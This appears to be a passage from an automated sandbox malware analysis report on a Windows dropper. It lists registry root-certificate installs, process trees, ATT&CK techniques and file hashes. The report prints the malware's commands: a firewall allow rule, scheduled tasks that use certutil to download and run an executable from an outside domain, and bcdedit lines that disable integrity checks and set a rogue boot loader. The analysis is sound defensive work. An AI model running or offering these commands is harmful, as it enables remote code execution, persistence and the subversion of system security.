d7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.execsrss.exe

pid	process
1288	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
1908	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1288	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Token: SeImpersonatePrivilege	1288	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Token: SeSystemEnvironmentPrivilege	1908	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 760 wrote to memory of 1692	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 760 wrote to memory of 1692	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 760 wrote to memory of 1692	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 760 wrote to memory of 1692	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 1692 wrote to memory of 1356	1692	cmd.exe	netsh.exe
PID 1692 wrote to memory of 1356	1692	cmd.exe	netsh.exe
PID 1692 wrote to memory of 1356	1692	cmd.exe	netsh.exe
PID 760 wrote to memory of 1908	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 760 wrote to memory of 1908	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 760 wrote to memory of 1908	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 760 wrote to memory of 1908	760	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 1680 wrote to memory of 1368	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1368	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1368	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1552	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1552	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1552	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1564	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1564	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1564	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1704	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1704	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1704	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1604	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1604	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1604	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1100	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1100	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1100	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 524	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 524	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 524	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1720	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1720	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1720	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 556	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 556	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 556	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 880	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 880	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 880	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 436	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 436	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 436	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1112	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1112	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1112	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1444	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1444	1680	patch.exe	bcdedit.exe
PID 1680 wrote to memory of 1444	1680	patch.exe	bcdedit.exe
PID 1908 wrote to memory of 1524	1908	csrss.exe	bcdedit.exe
PID 1908 wrote to memory of 1524	1908	csrss.exe	bcdedit.exe
PID 1908 wrote to memory of 1524	1908	csrss.exe	bcdedit.exe
PID 1908 wrote to memory of 1524	1908	csrss.exe	bcdedit.exe
PID 1908 wrote to memory of 1628	1908	csrss.exe	dsefix.exe
PID 1908 wrote to memory of 1628	1908	csrss.exe	dsefix.exe
PID 1908 wrote to memory of 1628	1908	csrss.exe	dsefix.exe
PID 1908 wrote to memory of 1628	1908	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
"C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1288

C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
"C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1356

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1948

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:836

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:1368

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1552

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1564

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1704

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1604

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1100

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:524

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:1720

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:556

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:880

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:436

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:1112

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:1444

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1524

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Executes dropped EXE
PID:1628

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220721005557.log C:\Windows\Logs\CBS\CbsPersist_20220721005557.cab
1⤵
- Drops file in Windows directory
PID:1784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
827759386f54f0b296fc04902e9da469

SHA1
dd96acff5064c40e1b5b95d072d844723566703c

SHA256
4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

SHA512
d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
827759386f54f0b296fc04902e9da469

SHA1
dd96acff5064c40e1b5b95d072d844723566703c

SHA256
4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

SHA512
d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
827759386f54f0b296fc04902e9da469

SHA1
dd96acff5064c40e1b5b95d072d844723566703c

SHA256
4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

SHA512
d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Download Submit
memory/436-97-0x0000000000000000-mapping.dmp

Download
memory/524-93-0x0000000000000000-mapping.dmp

Download
memory/556-95-0x0000000000000000-mapping.dmp

Download
memory/760-63-0x0000000000E30000-0x00000000011D8000-memory.dmp

Filesize
3.7MB

Download
memory/760-59-0x0000000000E30000-0x00000000011D8000-memory.dmp

Filesize
3.7MB

Download
memory/760-69-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/760-64-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/880-96-0x0000000000000000-mapping.dmp

Download
memory/1100-92-0x0000000000000000-mapping.dmp

Download
memory/1112-98-0x0000000000000000-mapping.dmp

Download
memory/1288-56-0x00000000012D0000-0x0000000001AD4000-memory.dmp

Filesize
8.0MB

Download
memory/1288-58-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/1288-57-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/1288-55-0x0000000000F20000-0x00000000012C8000-memory.dmp

Filesize
3.7MB

Download
memory/1288-54-0x0000000000F20000-0x00000000012C8000-memory.dmp

Filesize
3.7MB

Download
memory/1356-62-0x000007FEFBC91000-0x000007FEFBC93000-memory.dmp

Filesize
8KB

Download
memory/1356-61-0x0000000000000000-mapping.dmp

Download
memory/1368-87-0x0000000000000000-mapping.dmp

Download
memory/1444-99-0x0000000000000000-mapping.dmp

Download
memory/1524-100-0x0000000000000000-mapping.dmp

Download
memory/1552-88-0x0000000000000000-mapping.dmp

Download
memory/1564-89-0x0000000000000000-mapping.dmp

Download
memory/1604-91-0x0000000000000000-mapping.dmp

Download
memory/1628-102-0x0000000000000000-mapping.dmp

